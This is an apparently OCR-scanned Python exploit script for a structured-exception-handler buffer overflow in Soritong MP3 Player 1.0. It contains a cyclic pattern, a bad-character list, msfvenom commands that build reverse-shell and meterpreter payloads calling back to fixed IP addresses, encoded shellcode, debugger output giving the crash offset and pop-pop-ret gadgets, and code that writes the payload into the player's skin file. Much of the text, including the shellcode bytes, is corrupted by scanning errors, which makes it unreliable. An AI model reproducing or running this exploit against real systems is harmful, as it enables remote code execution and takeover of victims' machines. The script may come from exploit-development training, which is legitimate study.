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Soritong

#!/usr/bin/python
#Soritong MP3 Player 1.0 SEH BOF

path = "C:\Program Files\SoriTong\Skin\Default\UI.txt"

#pattern =

"AaPAalAa2Aa3Aad4Aa5AabAa7Aa8Aa9AbOAbIAb2Ab3Ab4Ab5SAb6Ab7AbEBADIACOACIAC2AC3ACS
AC5ACc6AC7AC8ACI9AdOAdIAA2Ad3Ad4Ad5Ad6Ad7Ad8A09Ae0Ae1Ae2Ae3Ae4Ae5Acb6Ae7Ae8Ae9A
fOATIAT2AT3AT4AT5AT6AT7ATEATIAQOAgIAg2Ag3Ag4Ag5Ag6Ag7Ag8Ag9AhOAhIAhR2Ah3Ah4AR
5Ah6Ah7Ah8Ah9A10A1I1A12A13A14A15A16A17A1i8A19AJ0Aj1Aj2Aj3Aj4Aj5A16Aj7Aj8AT9AK0O
AkIAK2AKk3AK4AK5AKk6AK7AK8BAKIATOATIALZATI3AT4ATI5AT6AT7AT8A19AMOAMIAM2AM3AmM4Am5A
m6Am7Am8Am9ANOANn1An2An3An4An5An6An7An8An9A00A01A02A03A04A05A06A07A08A09APOAD
1Ap2Ap3Ap4Ap5Ap6Ap7Ap8AP9AQqOAQqIAQ2Aq3Aq4Aq5Aq6Aq7Aq8AQ9AIrOAr1IAr2Ar3Ar4Ar5Are
Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8AS9AtOAtIAt2At3At4At5At6At7At8At9AUPAUIA
U2Au3Au4AuS5AubAu7Au8AuU9AVvOAVIAV2AV3AV4AV5AV6AV7AVEBAVIAWOAWIAWZAWIAWAAWSAwbAw
7AwBAWIAXOAXIAX2AX3AX4AX5AX6AX7AX8AX9AYOAY 1Ay 2Ay3Ay4Ay5Ay6Ay7Ay8Ay9AZz0Az1Az2
Az3Az4Az5Az6Az7Az8Az9Ba0BalBa2Ba3Ba4Ba5BabBa7Ba8Ba9BbOBb1Bb2Bb3Bb4Bb5Bb6Bb7B
b8Bb9BcOBc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9BdOBd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9BeO@BelBe2Be
3Be4Be5Be6Be7Be8Be9BfOBf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9BgOBg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8
Bg9BhOBh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3B
j4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9B1OB11B12B13B14B15B16B17B18B1
9BmOBm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9BnOBn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1B0o2Bo3B0o4
Bo5Bo6B0o7B0o8B0o9BpOBp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9BqOBq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9B
rOBr1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt
5Bt6Bt7Bt8Bt9BuOGBulBu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9BvOBv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8BvIBwO
Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8BwIBx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5B
y6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9CalCalCa2Ca3Ca4Ca5Ca6Ca7Ca8Ca9CbOCb
1Cb2Cb3Cb4Cb5Cb6CH7Cb8CHICcOCCICc2Cc3Cc4Cc5Cc6Cc7Cc8CcICdOCA1Cd2Cd3Cd4Cd5Cd6
Cd7Cd8Cd9Ce0CelCe2Ce3Ce4Ce5Ceb(Ce7Ce8Ce9CTOCTICT2CT3CT4CT5CT6CT7CT8CTICgOCgIC
g2€g3Cg4Cg5Cg6Cg7Cg8Cg9ChOChICh2Ch3Ch4Ch5Ch6Ch7Ch8Ch9CiOCi1Ci2Ci3Ci4Ci5Ci6C1
7Ci8Ci9CjOCj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9CKkOCKICKk2CKk3Ck4Ck5CKk6CKk7CKk8CKICLOCLICL2
Cl3Cl4C15CL6CL7CL8C19CMOCMICM2CmM3Cm4Cm5Cm6Cm7Cm8Cm9CNOCN1CNn2Cn3Cn4Cn5Cn6Cn7C
n8Cn9Co0C01C02C03C04C05C06C07C08C09CPOCP1CP2CP3Cp4Cp5Cp6Cp7Cp8CP9CqiCqllCq2Cq
3Cq4Cq5Cq6Cq7Cq8Cq9CrOCriCr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9CsOCs1Cs2Cs3Cs4Cs5Cs6(Cs7(Cs8
Cs9CtOCtICt2Ct3Ct4Ct5Ct6Ct7Ct8Ct9CUOCUICUu2Cu3Cu4CusbCub6Cu/Cu8Cu9CvOCviCv2Cv3C
v4Cv5Cv6Cv7Cv8CvICwOCWICw2Cw3Cw4Cw5Cwb (w7 Cw8CwICXOCXICXx2CXx3Cx4CXx5Cx6CXx7Cx8Cx
9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9DabDalba2Da3Da4
Da5Da6Da7Da8Da9Db0ODb1Db2Db3Db4Db5Db6Db7Db8DbIDcODc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9D
doéDd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9DeODelDe2De3De4De5De6De7De8De9DfODTF1IDT2DF3DF4Df
5Df6Df7Df8Df9DgODg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9DhODh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9D1i0
DilDi2Di3Di4Di5Di6Di7Di8Di9DjOD;j1D;j2Dj3Dj4Dj5Dj6Dj7Dj8Dj9DkODKk1Dk2Dk3Dk4DK5D
k6Dk7Dk8Dk9D1OD11D12D13D14D15D16D17D18D 19DMODMIDM2Dm3Dm4Dm5Dm6Dm7Dm8Dm9DNODN
1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9D0o0Do1D02D03D0o4Do5D06D0o7D0o8D0o9DpODp1Dp2Dp3Dp4Dp5Dp6
Dp7Dp8Dp9DqODq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9DrODr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1D
§2Ds3Ds4Ds5Ds6Ds7Ds8Ds9DtODt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9DuODul1Du2Du3Du4Du5Du6DU
7Du8Du9Dv0ODv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8DvIDwODw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8DwIDXODXx1DXx2
Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0ODy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6D27D
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z8Dz9EaOEalEa2Ea3Ead4Ea5EabEa7Ea8Ea9EbDOEbIEb2Eb3ED4EDSED6ED7EDSEDIECOECIEC2EC
3ECc4EC5EC6EC7EC8EC9EAOEdIEd2Ed3EA4Ed5Ed6EA7EASEd9ECOEe1Ee2Ee3Ee4Ee5Ee6Ee7E€8
Ee9EfOETIEf2Ef3Ef4EfS5Ef6Ef7EfSETI9EQOEQI1EQ2EQ3EQ4EQ5EQ6EQ7EQ8EGQIEROERIER2ER3E
h4Eh5Eh6Eh7EhS8Eh9EIOEI1Ei2Ei3Ei4EiI5Ei6Ei7EI8EI9EJOEJ1Ej2Ej3EJ4EJ5Ej6Ej7EJ8E]
9EKOEK1EK2EK3EK4EKS5EK6EK7EKSEKIELOET1EL2ETI3EL4EL5EL6EL7ET8EL9EMOEMIEM2EM3EM4
Em5Em6Em7Em8EmM9ENOEN1EN2EN3EN4EN5EN6EN7EN8EN9EOOE01E02E03E04E05E06E07EO8EO9E
POEPI1EP2EpP3EP4EPSEP6EP7EPS8EPIEQOEqQIEQ2EQ3EQ4EQS5EQ6EQ7EQS8EQ9ErOEr1Er2Er3Er4Er
5Er6Er7Er8Er9EsSOES1ES2ES3ES4ESS5ES6ES7ES8ESIEtOEtIEt2Et3Et4Et5Et6EtL7ET8ETIEUO
EulEu2Eu3Eu4Eu5S5EU6EU7EU8EU9EVOEVIEV2EV3EV4EV5EV6EV7EVEBEVIEWOEWIEW2EW3EW4EWSE
WOEW7EWSEWIEXOEX1EX2EX3EX4EXS5EX6EX7EXS8EX9EYOEY1EYy2EYy3Ey4EYy5EY6EY 7EY8EY9EZOEZ
1EZz2EZz3EZz4EZz5Ez6Ez7Ez8Ez9Fa0FalFa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9FbOFb1Fb2Fb3Fb4Fb5Fb6
Fb7Fb8Fb9FcOFcl1Fc2Fc3Fc4Fc5Fc6Fc7Fc8FcI9FdOFd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9FeOFelF
e2Fe3Fed4Fe5Feb6Fe7Fe8Fe9FfOFf1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9FgOFgl1Fg2Fg3Fg4Fg5Fg6Fg
7Fg8Fg9FhOFh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9FiOFil1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9FjOFj1Fj2
Fj3Fj4Fj5Fj6Fj7Fj8Fj9FKOFk1FKk2Fk3Fk4FKk5FK6FKk7FK8FK9FLOFL1FL2F13Fl4FL5F16Fl7F
L8FL9FmOFm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9FnOFn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fol1Fo2Fo
3F04Fo5F06F07F08Fo9FpOFplFp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9FqOFqlFq2Fq3Fq4Fq5Fq6Fq7Fq8
FQI9FrOFr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9FsOFs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9FtOFt1Ft2Ft3F
t4Ft5Ft6Ft7Ft8Ft9FuOFulFu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9FvOFv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv
9FWOFw1Fw2Fw3Fw4Fw5Fwb6Fw7 Fw8FwIFxOFx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9FyOFy1Fy2Fy3Fy4
Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9GafGalGa2Ga3Ga4Ga5GabGa7Ga8GagG
bOGb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8GbIGCcOGC1GCc2Gc36Gc4Gc56Gcb6Gc76c86c96dOGA16A2Gd3Gd4Gd
56d6Gd7Gd8Gd9Ge0GelGe2Ge36e4Ge56e6Ge76e8Ge9GTOGTIGT2GT3GT4GT5GT6GT7GT8GTIGQ0O
Gg1G6g2Gg3Gg4Gg5Gg6Gg7Gg8Gg9GhOGh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi16i2Gi3Gi4G1i5G
16G17G6i8Gi9GjOGj1Gj2Gj3Gj4Gj5G6j6Gj7Gj8GjIGKkOGKk1IGKk2Gk3Gk4GKk5GK™

#badchars =

"I x01\x02\x03\x04\ x05\x06\x07\x08\ x09\ x0a\ x0b\ xOc\xOd\ xPe\xOf\x10\x11\x12\x1
3\x14\x15\x16\x17\x18\x19\x1la\x1b\xlc\x1ld\xle\x1f\x20\x21\x22\x23\x24\ x25\ x2
6\x27\x28\x29\ x2a\ x2b\ x2c\ x2d\ x2e\ x2f\x30\x31\x32\x33\x34\x35\x36|x37\x38\x3
9\ x3a\x3b\ x3c\ x3d\ x3e\ x3f\ x40\ x41\x42\ x43\ x44\ x45\x46\ x47\ x48\ x49\ x4a\ x4b\ x4
c\x4d\ x4e\ x4f\ x50\ x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\ x5e\x5
fIXx60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x7
2\x73\x74\x75\x76\x77\x78\ x79\ x7a\x7b\ x7c\x7d\ x7e\x7f\ x80\x81\x82\x83\ x84\ x8
5\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x9
81x99\x9a\x9b\x9c\ x9d\ x9e\ x9f\xal\ xallxa2\xa3\xa4\xa5\xab\|xa7\xa8\xa9\xaalxa
b\ xac\xad\xae\xaf\xbO\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xb
elxbf\xcO\xcl\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xcalxcb\xcc\xcd\xcelxcf\xdO\ xd
1\ xd2\ xd3\xd4\ xd5\ xd6\ xd7\ xd8\ xd9\ xda\ xdb\ xdc\ xdd\ xde\| xdf\|xe0\xel\xe2\|xe3\xe
4\ xe5\ xeb6\ xe7\ xe8\ xe9\| xea\ xeb\| xec\|xed\ xee\xef\xfO\XFI\xF2\xf3\ x4\ xf5\xf6\xT
7\ xf8\ xf9\xfa\xfb\xfc\xfd\ xfe\xfr"

# msfvenom --platform windows -p windows/shell reverse tcp LPORT=31337
LHOST=192.168.94.128 -a x86 -f python -v shellcode -b '\|x00'
EXITFUNC=process

# msfvenom -p windows/meterpreter/reverse tcp lhost=10.22.1.101 lport=4001
EXITFUNC=seh -b '\x00' -f python -e x86/shikata ga nai

# msfvenom -p windows/meterpreter/reverse tcp lhost=10.22.1.101 lport=4001
EXITFUNC=process -b '"\x00' -f python
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#msfvenom -p windows/shell reverse tcp lhost=10.22.1.101 lport=4001
EXITFUNC=seh -b '\x00\x0d' -f python -e x86/shikata ga nai

buf "

buf += "\xda\xdd\xd9\x74\x24\xf4\xbe\xa7\x21\xd1\x42\x5a\x33"
buf += "\xc9\xbI1\x52\x83\xea\xfc\x31\x72\x13\x03\xd5\x32\x33"
buf += "\xb7\xe5\xdd\x31\x38\x15\x1e\x56\xb0O\xfO\x2f\x56\xa6"
buf += "\x71\x1f\x66\xac\xd7\xac\x0d\xe0\xc3\x27\x63\x2d\xe4"
buf += "\x80\xce\x0b\xcb\x11\x62\x6T\x4a\x92\x79\xbc\xac\xab"
buf += "\xbl\xbl\xad\xec\xac\x38\xff\xa5\xbb\xef\xef\xc2\xf6"
buf += "\x33\x84\x99\x17\x34\x79\x69\x19\x15\x2c\xel\x40\xb5"
buf += "\xcf\x26\xf9\xfc\xd7\x2b\xc4\xb7\x6c\x9f\xb2\x49\xa4"
buf += "\xd1\x3b\xe5\x89\xdd\xc9\xf7\xce\xda\x31\x82\x26\x19"
buf += "\xcf\x95\xfd\x63\x0b\x13\xe5\xc4\xd8\x83\xcl\xf5\x0d"
buf += "\x55\x82\xfa\xfa\x11l\xcc\xle\xfc\xf6\x67\x1a\x75\xf9"
buf += "\xa7\xaa\xcd\xde\x63\xf6\x96\x7f\x32\x52\x78\x7f\x24"
buf += "\x3d\x25\x25\x2f\xd0\x32\x54\x72\xbd\xf7\x55\x8c\x3d"
buf += "\x90\xee\xff\x0f\x3f\x45\x97\x23\xc8\x43\x60\x43\xe3"
buf += "\x34\xfe\xba\x0c\x45\xd7\x78\x58\x15\x4f\xa8\xel\xfe"
buf += "\x8f\x55\x34\x50\xdf\xf9\xe7\x11\x8f\xb9\x57\xfa\xc5"
buf += "\x35\x87\x1a\xe6\x9f\xa0\xb1l\x1d\x48\xc5\x53\x1c\xed"
buf += "\xb1\x59\xle\xe2\xe0\xd7\xf8\x96\xf2\xb1\x53\x0f\x6a"
buf += "\x98\x2f\xae\x73\x36\x4a\xfO\xf8\xb5\xab\xbf\x08\xb3"
buf += "\xbf\x28\xf9\x8e\x9d\xff\x06\x25\x89\x9c\x95\xa2\x49"
buf += "\xea\x85\x7c\xle\xbb\x78\x75\xca\x51\x22\x2f\xe8\xab"
buf += "\xb2\x08\xa8\x77\x07\x96\x31\xf5\x33\xbc\x21\xc3\xbc"
buf += "\xf8\x15\x9b\xea\x56\xc3\x5d\x45\x19\xbd\x37\x3a\xf3"
buf += "\x29\xc1l\x70\xc4\x2f\xce\x5c\xb2\xcf\x7f\x09\x83\xf0"
buf += "\xb0\xdd\x03\x89\xac\x7d\xeb\x40\x75\x8d\xa6\xc8\xdc"
buf += "\x06\x6T\x99\x5c\x4b\x90\x74\xa2\x72\x13\x7c\x5b\x81"

+

buf "\x0b\xf5\x5e\xcd\x8b\xe6\x12\x5e\x7e\x08\x80\x5f\xab"

shellcode buf

#buffer
#buffer

5000*'A"’
pattern

#0:000> !exchain

#0018fd2c: 41367441

#0018fd2c ...4At5

# Pattern 4At5 first occurrence at position 584 in pattern.

#0:000> !py mona sehchain

#Hold on. ..

#[+] Command used:

#!py mona.py sehchain

#Nr of SEH records : 1

#Start of chain (TEB FS:[0]) : 0x0018fd2c
#Address Next SEH Handler
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#0x0018fd2c 0x35744134 0x41367441 (record smashed at offset 584)

# Ipy mona seh
# 0x48021430 : pop eax # pop esi # ret

# .load pykd.pyd
# !py mona seh -cpb

# 0x10010915 : pop ebp # pop ebx # ret | ascii {PAGE EXECUTE READ}
[Player.DLL] ASLR: False, Rebase: False, SafeSEH: False, 0S: False, v-1.0-
(C:\Program Files\SoriTong\Player.DLL)

# 0x480125a6 : pop eax # pop esi # ret | {PAGE EXECUTE READ} [strmdll.dll]
ASLR: False, Rebase: False, SafeSEH: False, 0S: False, v4.0.0.3845
(C:\Program Files\SoriTong\strmdll.dll)

# 0x480270d1 : pop ebx # pop ebp # ret 0x04 | {PAGE EXECUTE READ}
[strmdll.dll] ASLR: False, Rebase: False, SafeSEH: False, 0S: False,
v4.0.0.3845 (C:\Program Files\SoriTong\strmdll.dll)

# 0x100104f8 : pop edi # pop esi # ret 0x04 | {PAGE EXECUTE READ}
[Player.DLL] ASLR: False, Rebase: False, SafeSEH: False, 0S: False, v-1.0-
(C:\Program Files\SoriTong\Player.DLL)

#sxe ld:soritong

buffer = 'A'*584

#buffer+= "\xcc\xcc\xcclxcc" # break points

buffer += "\xcc\x90\xeb\x04" # jmp 06

buffer += "\xf8\x04\x01\x10" # address of pop pop ret
buffer += "\x90"*16

buffer += badchars

#buffer += "\ x90"*1000

buffer += "A' * (30000 - len(buffer))

f = open(path, "w")
f.write(buffer)
f.close()
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